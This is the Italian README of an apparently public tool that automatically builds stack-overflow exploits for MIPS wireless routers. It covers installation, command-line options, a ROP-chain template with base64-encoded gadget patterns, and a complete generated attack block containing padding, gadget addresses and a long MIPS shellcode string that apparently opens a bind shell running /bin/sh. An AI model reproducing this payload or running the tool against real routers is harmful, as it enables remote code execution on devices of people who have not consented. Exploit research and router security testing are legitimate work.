Router Exploit Shovel

Generazione automatica di applicazioni per tipi di stack overflow su router wireless

Router exploits shovel è uno strumento di generazione automatica di applicazioni per i tipi di stack overflow su router wireless. Lo strumento implementa le funzioni chiave degli exploit, può adattarsi alla lunghezza del padding dei dati sullo stack, generare la catena ROP, generare lo shellcode codificato e infine assemblarli in un codice di attacco completo. L'utente deve solo allegare il codice di attacco alla posizione di overflow del POC per completare l'Exploit dell'esecuzione di codice remoto.

Lo strumento supporta MIPSel e MIPSeb. Funziona su Ubuntu 16.04 64bit.

Install

Assicurati di avere git, python3 e setuptools installati. Scarica il codice sorgente dal nostro Github:

$ git clone https://github.com/arthastang/Router-Exploit-Shovel.git

Configura l'ambiente e installa le dipendenze:

$ cd Router-Exploit-Shovel/
$ python3 setup.py install

Usage

$ python3 Router_Exploit_Shovel.py -h
Usage: Router_Exploit_Shovel.py [options]

Options:
  -h, --help            show this help message and exit
  -b BINARYFILEPATH, --binaryFile=BINARYFILEPATH
                        input binary file path
  --ba=BINARYBASEADDR, --binaryBaseAddr=BINARYBASEADDR
                        input binary base address,default=0x00400000
  -l LIBRARYFILEPATH, --libraryFile=LIBRARYFILEPATH
                        input libc file path
  --la=LIBRARYBASEADDR, --libraryBaseAddr=LIBRARYBASEADDR
                        input library base address,default=0x2aae2000
  -o OVERFLOWFUNCTIONPOINTOFFSET, --overflowPoint=OVERFLOWFUNCTIONPOINTOFFSET
                        input overflow function point offset
  --arch=ARCH           input architecture of elf files,[little] or
                        [big],default=big

Per esempio:

$ python3 Router_Exploit_Shovel.py -b test_binaries/mipseb-httpd -l test_binaries/libuClibc-0.9.30.so -o 0x00478584

Schermate

Struttura del codice

--Router_Exploit_Shovel.py       #Startup script
--databases/                     
  |---ROP_patterns/              #YAML file of ROP patterns        
  |---shellcodes/                #YAML file of shellcodes
--example/                       #Nday vulnerabilities, full report and exploit code
--results/                       
  |---ROP_gadgets/               #ROP gadgets generating results       
  |---attackBlock.txt            #Attack block generating results
--ropper/                        #Modified ropper module to get all gadgets
--filebytes/                     #Filebytes module to load ELFs
--router_exp_shovel/             #Main module         
  |---offset_calculator/         #Calculate padding size 
  |---ROP_maker/                 #Make ROP chains
  |---shellcode_maker/           #Make shellcodes
--qemuTestEnvironment/           #MIPS run-environment for router exploitation

Generazione della catena ROP

Questo strumento utilizza pattern per generare catene ROP. Estrae pattern dalle procedure comuni di sfruttamento ROP. Utilizza il matching regex per trovare gadget disponibili per riempire le stringhe della catena. La codifica Base64 serve per evitare escape di caratteri duplicati. Per esempio:

chainString: (gadget2)(gadget1)BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB(sleep)CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC(call_code)DDDD(stack_gadget)\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44
gadget1: KC4qKW1vdmUgXCR0OVwsIFwkczE7IGx3IFwkcmFcLCAweDI0XChcJHNwXCk7IGx3IFwkczFcLCAweDIwXChcJHNwXCk7IGx3IFwkczBcLCAweDFjXChcJHNwXCk7KC4qKTsganIgXCR0OTsgYWRkaXUgXCRzcFwsIFwkc3BcLCAweDI4Ow==
#gadget1: (.*)move \\$t9\\, \\$s1; lw \\$ra\\, 0x24\\(\\$sp\\); lw \\$s1\\, 0x20\\(\\$sp\\); lw \\$s0\\, 0x1c\\(\\$sp\\);(.*); jr \\$t9; addiu \\$sp\\, \\$sp\\, 0x28; 
gadget2: KC4qKWFkZGl1IFwkYTBcLCBcJHplcm9cLCAxOyBtb3ZlIFwkdDlcLCBcJHMxOyBqYWxyIFwkdDk7
#gadget2: (.*)addiu \\$a0\\, \\$zero\\, 1; move \\$t9\\, \\$s1; jalr \\$t9;
call_code: KC4qKW1vdmUgXCR0OVwsIFwkczI7IGphbHIgXCR0OTs=
#call_code: (.*)move \\$t9\\, \\$s2; jalr \\$t9;
stack_gadget: KC4qKWFkZGl1IFwkczJcLCBcJHNwXCwgMHgxODsoLiopbW92ZSBcJHQ5XCwgXCRzMDsgamFsciBcJHQ5Ow==
#stack_gadget: (.*)addiu \\$s2\\, \\$sp\\, 0x18;(.*)move \\$t9\\, \\$s0; jalr \\$t9;

Blocchi di attacco

Puoi ottenere i blocchi di attacco generati in results/attackBlocks.txt. Ad esempio:

attackBlock = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x2a\xb3\x7c\x60\x2a\xb2\xbd\xfcBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x2a\xb3\x5c\xa0CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\x2a\xb0\x09\x38DDDD\x2a\xaf\x76\x68\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99\x27\xb2\x05\x4b\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1\x02\x2a\x18\x26\xae\x43\xff\xc1\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d\x7a\x69\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c"

Dipendenze

Ropper: Uno strumento fantastico per dumpare informazioni binarie e generare catene ROP. https://github.com/sashs/Ropper
filebytes: Libreria per leggere e modificare file in ELF, PE, MachO e OAT. https://scoding.de/filebytes-introduction
yaml: YAML non è un linguaggio di markup. https://yaml.org/
optparse: Parser per opzioni da riga di comando. https://docs.python.org/3/library/optparse.html
Capstone: Framework di disassemblaggio. http://www.capstone-engine.org/
re: Modulo per espressioni regolari.

Router-Exploit-Shovel

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